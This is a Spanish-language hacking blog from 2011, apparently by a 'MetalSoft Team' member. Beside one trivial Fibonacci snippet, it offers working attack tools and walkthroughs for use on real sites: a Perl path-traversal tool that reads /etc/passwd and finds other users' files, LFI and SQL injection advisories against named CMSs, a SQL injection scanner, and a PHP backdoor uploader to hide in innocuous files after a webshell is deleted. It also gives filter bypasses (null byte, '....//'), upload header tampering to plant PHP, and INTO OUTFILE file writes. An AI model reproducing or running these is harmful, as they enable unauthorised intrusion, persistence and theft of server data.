jueves, 15 de diciembre de 2011

[ Programacion ] Sucesión de Fibonacci (Simple)

No es tan complicado :P




/* No se porque se complican tanto en la sucesión de Fibonacci xD */
 
print "\n### - Sucesión de Fibonacci! -- ###\n\n";
$a=1;
$b=1;
while ($a<=100)
    {
    print $a . ", " .  $b . ", ";
    $a = $a + $b;
    $b = $a + $b;
    }
print "\n\n### --- --- --- --- --- --- --- ### \n\n"; 





Lo publique porque vi muchos Codes con esta funcion muy extendidos y esto es para que no se compliquen mucho xD

miércoles, 14 de diciembre de 2011

[Bypass] Users to Host perl v1.2


La vez anterior publique algo de bypass en los usuarios de algun servidor y para facilitarnos las cosas me hice una t00l en perl que nos ahorrara mucho tiempo, para hacer una búsqueda y saber donde tenemos permisos.

Creo que es la primera t00l de su tipo,pero no estoy seguro, ya que no e visto alguna para esta función y pues se me ocurrió hacerla.


Aquí una Muestra de el funcionamiento de la herramienta


./script.pl [Web] [Directorio_web] [Archivo_a_buscar]

[Directorio_web] Es La Url de el Disclosure

[Directorio_web] Es El directorio de la web que se va a buscar, este puede ser "www", "htdocs", "public_html", etc...

[Archivo a Buscar]
Es Opcional, asi que no es necesario agregarlo a menos que desees hacer una busqueda mas personalizada



Vemos que nos Devuelve los usuarios junto a los paths de los usuarios vulnerables

Ya después dependerá de vosotros para hacer lo que sigue...



use HTTP::Request;
use LWP::UserAgent;

my $browser = LWP::UserAgent->new();
      
sub banner { 
 print "
 
   _                 _        _       
  |_  \/|_)|_| _  _  o __ (_|   |_|/ \ _ _|_
  |_) / |    |_> _>  | | |__|   | |\_/_>  |_
 
   C o d e d  by  b 4 n z 0 k
 
 * Modo de Uso :
 * perl script.pl [Web] [Carpeta_web] [path_destino(Opcional)]\n
 *\tperl script.pl www.web.com/archivo.php?disclosure= htdocs
 ";
 
 }

 $url = $ARGV[0]; # print  "$vuln\n";
 
  unless ($url) { &banner; }

 $home = $ARGV[1]; # print  "$home\n";
 $dr = "home/"; #Esta Parte La deves de cambiar Manualmente dependiendo la informacion de "/etc/passwd"
 $pt = "../../../../";
 #$pt = "....//....//....//....//....//....//....//....//....//";
 $bp = "";
 @usuarios;
 @vulnerados;
 $archivo = $ARGV[2];
 
 unless ($ARGV[2]) {
  
   $archivo1 = "/index.php";
   $archivo2 = "/index.html";
  }

  
  $url  = "http://" . $url if $url !~ m/^http\:\/\//;
  if ($url =~ m/^http\:\/\/([a-zA-Z0-9-.]+)\/(.*)/) 
  {   $host = $1; $path0 = $2; }

 $path = $url . $path.  $pt . $pt . $pt . "etc/passwd" . $bp;
  print "$path\n";
 my $request = $browser->get($path);
 my $content = $request->content;
      
#print "$content\n";
if ($content =~ m/(.*):x:(.*):(.*):(.*):\/bin/g) {
while ($content =~ m/(.*):x:(.*):(.*):(.*):\/bin/g ) 
{ #print $1 . "\n"; 
 push (@usuarios,$1); # Esto tambien puede cambiar el $1
} } else { print "\n[*] Error En la Injeccion.\n\n"; exit; }
&banner;
print "\n\n[*] # Ju4ck34ndo [ Server * $host ] d3sd3 d3ntr0 #\t[*]\n\n";
 
foreach $n (@usuarios) {

 $path2 = $url .  $pt . $pt . $pt . $bp . $pt . $pt . $pt . $dr . $n . "/" . $home;
# print "$path2\n";
unless ($ARGV[2]) {

  $path_g=$path2 . "/index.php";
  &requestt($path_g);
  
  $path_g=$path2 . "/index.html";
  &requestt;
  
  }
 if ($ARGV[2]) {
 $path_g = $path2 . $archivo;
 &requestt($path_g); }
}
sub requestt {
 
  my $request2 = $browser->get($path_g);
  my $content2 = $request2->content;
  
 #  print "$content2\n"; m/failed to open stream/
   if ($content2 =~ m/\$(.*)/) 
    {
     print "[#- pl0p -#]\t\ŧ# - [ $n ] - #\n";
     push (@vulnerados,$path_g);
    }
   #   else { print "# 3Rr0r # [$n]\t$path_g\n"; }
 }
print "\n\n\t[ # - Webs Con Bypass de Permisos - # ]\n\n";
foreach $n (@vulnerados)
{
 print "[*] $n\n\n";
 }

lunes, 28 de noviembre de 2011

Sin Permisos? lol [ Atacando desde Dentro ]

Hola!! un saludo a todos, hace rato que no publico y quise hacerlo por primera vez en mucho tiempo, espero y les guste.



Cuando Tenemos algún Disclosure lo primero que hacemos es visualizar el archivo /etc/passwd




Y por lo tanto visualizaremos los demás archivos de la web que usualmente serian los archivos de configuracion

Haremos algo mas que solo visualizar esos archivos...

Supongamos que el Servidor Tiene sus paginas de este modo

www.web1.com  >>  Aquí esta el Disclosure
www.web2.com
www.web3.com >> Aquí Trataremos de entrar (www.web3.com no es vulnerable por si sola)
www.web4.com 
www.web5.com


/etc/passwd

web1:x:30073:30036::/home/web1:/bin/bash
web2:x:30075:30037::/home/web2:/bin/bash
web3:x:30076:30038::/home/web3:/bin/bash
web4:x:30098:30039::/home/web4:/bin/bash
web5:x:30099:30040::/home/web5:/bin/bash

Si el disclosure esta en /home/web1 tratemos de acceder a otra web del mismo servidor

Vuln=/home/web3/htdocs/index.php



Si el Archivo esta vacío como en mi caso, no te decepciones intenta con directorios default como:
"www","htdocs","public_html","web",etc...

Vuln=/home/web3/www/index.php





Listo!! Discourse desde una web interna.

Si no te funciona significa que los permisos están mejor administrados, pero no te desanimes ya que hay muchos servidores con esta vulnerabilidad.


Al parecer tiene instalado WordPrees.
 



Listo!!, creo que con esto ya queda mas claro ^^.


Desde Una Shell Update

Desde un archivo en el servidor ya es mas fácil hacer todo el trabajo que estamos haciendo desde un disclosure.

Normalmente siempre revisamos los dominios y permisos que tenemos desde la misma web y cuando comúnmente nos encontramos con esto damos por perdidos los permisos de los demás dominios.


Ahora aplicamos lo anterior modificando una variable GET


Listo!!, espero les haya gustado este peque tuto ^^


Sin Permisos?? lol

viernes, 27 de mayo de 2011

[Webapps] - WEB-Source [Local File Inclusion Vulnerability]

'||     '||''''| |''||''| 
|| || . ||
|| ||''| ||
|| || ||
.||...| .||. |..||..|

[ Local File Inclusion ]


By MetalSoft T34M


; Distribuidor : web-source.ie

; Path: index.php?pid=[explotación]

; Author: b4nz0k

; Capura:


Z4LuD0$...

sábado, 21 de mayo de 2011

[Webapps] - TresIdeas CMS Vulnerable [SQLi]

  _       __    __  _                          
/ |\/| (_ (_ / \ | o ._ o _ _ _|_
\_ | | __) __) \_X |_ | | | | (/_ (_ |_
_|


######################
Vuln: SQL Injection
######################
; Site : http://www.xxx.*.ar
######################
;Dork :Design by tresideas.com.ar
######################
; Author: xDarkSton3x | MetalSoft Team
######################

; Explotable : noticias_example.php?id="
######################

;Tabla: usuarios

y un Exploit que le hice al wn xD:

exploit_cms.pl

Modo de Uso:

perl exploit_cms.pl http://web.com/path/vuln.php?vulnerable_id=123

Captura:


Fuente de la Vulnerabilidad:

http://xdarkstonex.blogspot.com/2011/04/cms-argentino-vulnerable-sqli.html

sábado, 30 de abril de 2011

MySQL Inject Scanner v0.1

MySQL Inject Scanner v0.1









# Metalsoft - T34M #





..####....####...##......######.

.##......##..##..##........##...

..####...##.###..##........##...

.....##..##..##..##........##...

..####....#####..######..######.

................................







Wenas!! :D les traigo mi primera tool de SQLi Inject y claro, para la próxima versión pienso optimizar el código y agregarle mas funciones :P.

set

Asigna un valor a una variable

table (nombre de la tabla)
union (tipo de unuin para la injeccion)
(+,/**/,%20)
column (Columna donde se injectara el code)
examples set table users
set union /**/
set column 2 << La columna de Injeccion

show

Visualiza el campo seleccionado

tables [Visualiza las tablas]
columns [Visualiza las columnas de la tabla seleccionada]
data [Visualiza los datos de los campos]

examples show tables
show columns
show data username,passwd

info Muestra la informacion de la Injeccion

help Consulta los comandos soportados

clear Limpia la Pantalla

exit Salir

Aqui un ejemplo de uso:






Modo de Uso: perl sql.pl http://web.com?vuln=




show tables

set table table tbsys000_login



show data user_login,password_login







Download <-- Tool en txt

Desde Linux
wget http://banzok.webcindario.com/sql.txt -O sql.pl

sábado, 16 de abril de 2011

Puertas Traseras (Backdoor's)

Esta Herramienta que acabo de hacer nos permite backdorizar un archivo común en php y añadirle código ofuscado
para cuando queramos utilizarlo solo le agregamos unos parámetros al archivo
Para ello simplemente se edita el archivo



Al contacto con el archivo se ve muy normal y común
pero si agregamos los parámetros correspondientes de nuestro backtorizado.
en este caso lo hice con un comprobante,
una vez autorizados me bota el upload correspondiente




Si pregunta para que es esto pero no creo xP, es por si nos borran la webshell ya que los administradores revisan cual fue el ultimo archivo creado, y como resulta sospechoso borran la webshell


Simple Backdoor Upload


<----- Inicio Php ------>


if (isset($_GET['config']))
{
    echo '

BakckDoor by b4nz0k

Seleccione el Archivo
'; if (isset($_FILES['archivo'])) { $ar=$_FILES['archivo']['name']; copy($_FILES['archivo']['tmp_name'],$_FILES['archivo']['name']); echo '

Archivo Subido en '.$ar.'

'; } } <----- End Php ------>

jueves, 14 de abril de 2011

Bypass Filtros extensiones (RFD, LFI)

Estaba con un amigo juackeando una web nada en particular, pero me di cuenta de algo...
Cuando el archivo elegía los archivos a incluir , era normal..., parecía bien filtrado el archivo.



Despues me puse a pensar como podria estar codeado el sourse, y llegue a la conclusión de que muchos programadores aceptan determinadas extensiones.

El Sourse no Filtrado Correctamente

#łł Visualizar Archivo łł#

@?php
$permitidas[0]='doc';
$permitidas[1]='DOC';
$permitidas[2]='pdf';
$permitidas[3]='PDF';
$permitidas[4]='docx';
$permitidas[5]='DOCX';
$permitidas[6]='rar';
$permitidas[7]='RAR';
$permitidas[8]='zip';
$permitidas[9]='ZIP';
$permitidas[10]='mpg';
$permitidas[11]='xls';
$permitidas[12]='XLS';
$permitidas[13]='pps';
$file=$_GET['archivo'];
$flag=0;
for($i=0;$i<count($permitidas);$i++)
if(substr($file, -3)==$permitidas[$i])
$flag=1; //print $file;
if($flag)
{
$nombre=explode("/",$file);
$nombrear=$nombre[count($nombre)-1];
// fix for IE catching or PHP bug issue
header("Pragma: public");
header("Expires: 0"); // set expiration time
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

header("Content-type: application/octet-stream\n");
header("Content-Disposition: attachment; filename=\"".$nombrear."\"\n");
header("Content-length: " . filesize($file) . "\n");
$fp=fopen("$file", "r");
fpassthru($fp);
}
?@

Con el Código llegamos a la conclusión de que el programador prepara un array para guardar todas las extensiones y usa un blucle "For" y un condicional "IF" para comprobar si el archivo seleccionado es igual al array que serian las extensiones permitidas.

Aqui el Bypass



Bien ,llegando a la conclusión de que incluimos el archivo /etc/passwd no tiene la extensión del array , así que le agregamos un "carácter nulo" en "hexadecimal" con la "extensión permitida" para consultar que seleccione el archivo e indicando que la extensión sea una de las permitidas.



Explotación



Espero que les halla servido este peque bypass ^<^.

viernes, 8 de abril de 2011

MetalSoft Source Discourse (RFD) V1.0




Source Discourse Perl v1.0


EsTa es una Simple tool que nos muestra el source de algún archivo Y podemos Guardar y visualizar los archivos del servidor con dicha vulnerabilidad

Modo de uso:
perl rfd.pl http://web.com/path/archivo.php?vuln=


ver archivo.php


Visualizamos el archivo de Configuración
ver ../../../archivo.php



Nos Imprime en pantalla el source del fichero seleccionado






#!/usr/bin/perl

#Gretz: xDarkSton3x, Fail.root, R4f4, r007
#c0d3d: R 0 0 t - M
# # M e t a l S o f t - T 3 4 M
#


use LWP::Simple;
$path = $ARGV[0];
if(!$ARGV[0])
{
print q(

        ##########################
--- Å‚ MetalSoft Team Å‚ ---

:::==== :::===== :::====
::: === ::: ::: ===
======= ====== === ===
=== === === === ===
=== === === =======

% Coded by R 0 0 t - M %
Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚Å‚

Modo de Uso:

RFD.pl http://web.com/path/archivo.php?vuln=


);
}
else {

if ($path !~ /http/) { $web="http://".$path; }
else { $web=$path; }

$host=&resolver_host($web);
print q(
####### --- ł MetalSoft Team ł --- Cargando Session...
);
sleep(2);
print "[*] Presione help para ver los comandos Disponibles\n";
print "[*] Session Iniciada\n\n";

inicio: print "\nMetalSoft".'@'."$host :[*] "; $comando=@STDIN@; chop($comando);
@comand = &control_comando($comando);
$comando1 = @comand[0];
$comando2 = @comand[1];
if (exists(&$comando1)) {
&$comando1($web,$comando2); }

else { print "[*] Comando No Soportado"; }
########## - S u b R u t i n a s #############
sub control_comando{
@control=split(/ /,$comando);
return @control; }

sub resolver_host {
@var1 = split(/http:\/\//,$web);
@var2 = split(/\//,@var1[1]);
$final = "@var2[0]"; return $final; }

sub exit {
print "\n#łł Cerrando Session... łł#\n\n";
sleep(1);
print "\n"; exit; }

sub ver {
print "\n#łł Visualizar Archivo łł#\n\n";

getprint($web . $comando2 ); goto inicio; }

sub guardar {
print "\n#łł Guardar Archivo łł#\n\n";
print "\n[*] Nombre del Archivo a Guardar : ";
$nombre=@STDIN@; chop($nombre);
getstore($web . $comando2 ,$nombre); } goto inicio; }

sub help {
print q(
Comandos Soportados

ver ([*] ver archivo.php)
guardar
([*] guardar archivo.php)
clear
(Limpia la Pantalla)
pwd (Consultar El Directorio Actual)
help (Consultar los comandos de la Session)
exit (Salir de la Session)
); goto inicio; }

sub clear {
system ("clear"); system ("cls"); goto inicio; }
#En esta Parte hice un verdadero Desmadre :S

sub pwd{
@var1 = split(/http:\/\//,$web);
@var2 = split(/\//,@var1[1]);
$sacado=shift(@var2);
$sacado2=pop(@var2);
print "\nPath [*] /";
foreach $i (@var2) { print "$i/"; }
print "\n";
@var3=split(/\?/,$sacado2);
$sacado3=shift(@var3);
print "File [*] $sacado3\n"; }



Recuerden los @ en STDIN ^^

Descarga en TXT << Por si algún error esta el txt ^^.

martes, 5 de abril de 2011

Bypass Filtros str_replace (LFI, RFD)

Explorando por la net me encontré un código de descarga filtrado para que el usuario no baje información sensible, pero no esta tan bien filtrado.

La Primera descarga pense que el archivo estaba filtrado correctamente.




@?

$file = $_GET['f'];
$file = str_replace( "../", "", $file); #- Aquí nuestro filtro que remplaza
$path="./down"; # cuando queremos subir un directorio
$url = $path."/".$file;
header ("Content-Disposition: attachment; filename=".$file." ");
header ("Content-Type: application/octet-stream");
header ("Content-Length: ".filesize($url));
?@
-------------------------------------------


El codigo nos prohíbe subir directorios con "../" ,
pero que pasa si lo cambiamos por
"....//" ?



Espero que este peque bypass les sirva de algo ^^.

domingo, 3 de abril de 2011

Bypass Uploader

Un Upload no es una vulnerabilidad, pero lo considero un gran error del Administrador.

Porque?
un usuario con acceso a un upload mal filtrado puede
fácilmente subir un archivo malicioso al servidor perjudicando ala web,
o en casos graves a todo el Servidor.

Empezamos codeando nuestro Uploader


upload.php


@form action="subearchivo.php" method="post" enctype="multipart/form-data"@

Campo de tipo texto:@br@

@input@@ type="text" name="cadenatexto" size="20" maxlength="100"@@br@
@input@@ type="hidden" name="MAX_FILE_SIZE" value="100000"@@br@

Subir Archivo:@br@

@input@> name="userfile" type="file"@@br@
@input@>type="submit" value="Enviar"@@br@
<@/form@>

----------------------------------------------------------
subearchivo.php

@? //tomo el valor de un elemento de tipo texto del formulario
$cadenatexto = $_POST["cadenatexto"];
echo "Escribió en el campo de texto: " . $cadenatexto . "<@br@><@br@>";
//datos del arhivo $nombre_archivo = $HTTP_POST_FILES['userfile']['name'];
$tipo_archivo = $HTTP_POST_FILES['userfile']['type'];
$tamano_archivo = $HTTP_POST_FILES['userfile']['size'];
//compruebo si las características del archivo son las correctas
if (!((strpos($tipo_archivo, "gif") || strpos($tipo_archivo, "jpeg")) && ($tamano_archivo < 100000)))
{
//Imprime en Pantalla
echo "La extensión o el tamaño de los archivos no es correcta. <@br@><@br@>Se permiten archivos .gif o .jpg
se permiten archivos de 100 Kb máximo.";

}else{
//Si se sube el archivo con éxito
if (move_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'], $nombre_archivo))

{
//Imprime en Pantalla
echo "El archivo ha sido cargado correctamente.";
}

//al contrario
else
{
//Imprime en Pantalla
echo "Ocurrió algún error al subir el fichero. No pudo guardarse.";
} }
?@
Recuerden quitar los "@" .


Analizando el uploader nos damos cuenta que el archivo filtra el tipo de archivo permitido que seria "gif" y "jpeg".


Como lograr subir algun archivo de otra extensión si esta filtrando las extinciones permitidas?




Transacciones HTTP


Una transacción HTTP está formada por un encabezado seguido, opcionalmente, por una línea en blanco y algún dato. El encabezado especificará cosas como la acción requerida del servidor, o el tipo de dato retornado, o el código de estado.


Para poder bypassear el uploader tenemos que controlar las cabeceras para cambiar la información al final.


Para eso Usare un Add-ons de Mozilla (Live HTTP Headers) para modificar las cabeceras al subir un archivo al servidor. Cuando lo Tengamos se auto-capturaran las cabeceras de las peticiones HTTP, una vez terminada la captura podemos Repetir las peticiones para modificarlas.

Herramientas > Live HTTP Headers




Una vez dentro de la edición de las cabeceras, podremos modificarlas.



Content-Disposition: form-data; name="uploadfile"; filename="fichero_1.jpg"
°
Content-Disposition: form-data; name="uploadfile"; filename="fichero_1.php"


Aquí nos muestra la información del formulario que es el nombre del input del upload y el nombre del archivo , modificamos filename para renombrar el archivo.



Una vez subido el archivo hay que averiguar donde esta alojado el archivo y acceder a el





miércoles, 9 de marzo de 2011

Remote File Downloader



Esta Vulnerabilidad no es muy usada, pero hay muchas webs que la disponen para ser explotada.

Lo que hace esta vulnerabilidad, es poder descargarnos archivos remotamente del servidor o de la web que el usuario tenga permitido el acceso.

Path Vulnerable:

http://site.com/path/download.php?search=archivo

Comprobamos si el sitio puede ser descargado desde directorios anteriores y no tenga filtrado "../../"

http://site.com/path/download.php?search=../../../../../../../../../../etc/passwd




Si el archivo descargado se ve exactamente como se veía /etc/passwd, significa que tenemos un path vulnerable, si nos descarga un mensaje de error o no nos descarga, lamentable el path no es vulnerable.

Con una web Vulnerable a RFD podemos descargar archivos con información delicada como los usuarios de BD o del FTP que normalmente esta en /config.php, pero normalmente siempre es otra dirección cambiada por el WebMaster.



martes, 1 de marzo de 2011

SQL Injection (OutFile)

SQL inject Outfile:

Sabemos que en una SQL inject nos tiene que botar un error

Error Sintaxis SQL in : /home/xxx/htdocs/vuln.php in line x


Y con un target parecido a este

http://target.com/path/vuln.php?id=x'


Buscamos tablas hasta que nos quite el error o nos saque el numero de la tabla

-x union all select 1--
-x union all select 1,2--
-x union all select 1,2,3--
-x union all select 1,2,3,4--
-x union all select 1,2,3,4,5--
<- Aqui nos devolvio el numero de la tabla


Imaginamos que la tabla esta en la 5 y nos salto el numero 2..

Usamos user() en el "2" para saber el actual usuario y el host.

-x union all select 1,user(),3,4,5--

Nos bota root@localhost

-x union all select user,host,3,4 from mysql.user where File_priv = 'Y' && user='root' && host='localhost';
nos bota rootlocalhost

El usuarios tiene permisos File, podemos usar el comando load_file() y into outfile. El primer paso para seria saber el DocumentRoot que es donde se encuentran los documentos web, para saber la direccion del DocumentRoot podemos trata de probocar un Full Path Disclosure (FPD), leer el archivo de configuración de Apache usando load_file...


devemos de tener en cuanta de que para poder hacer uotup tenemos que saber que la directiva Magic_quotes_gpc del php no este activada, esta directiva escapa las comillas simples y dobles que viajan vía GET, POST y como COOKIE y acegurarnos que el directorio tenga permiso de escritura.

Tenemos que saber donde esta el directorio para poder indicar donde guardaremos nuestro archivo.


into outfile '/home/xxx/htdocs/aerchivocreado.php'--

y en el el numero 2 agregamos

'<@? phpinfo(); ?@>' // sin @

En resultado

Salida:

-x union all select1,'',3,4,5 outfile '/home/xxx/xxx/aerchivocreado.php'--


Seria Igual a:



-x+union+all+select1,'',3,4,5+outfile+'/home/xxx/xxx/aerchivocreado.php'--


Les dejo a su imaginación el codgo del archivo php


Gretz: Yoyahack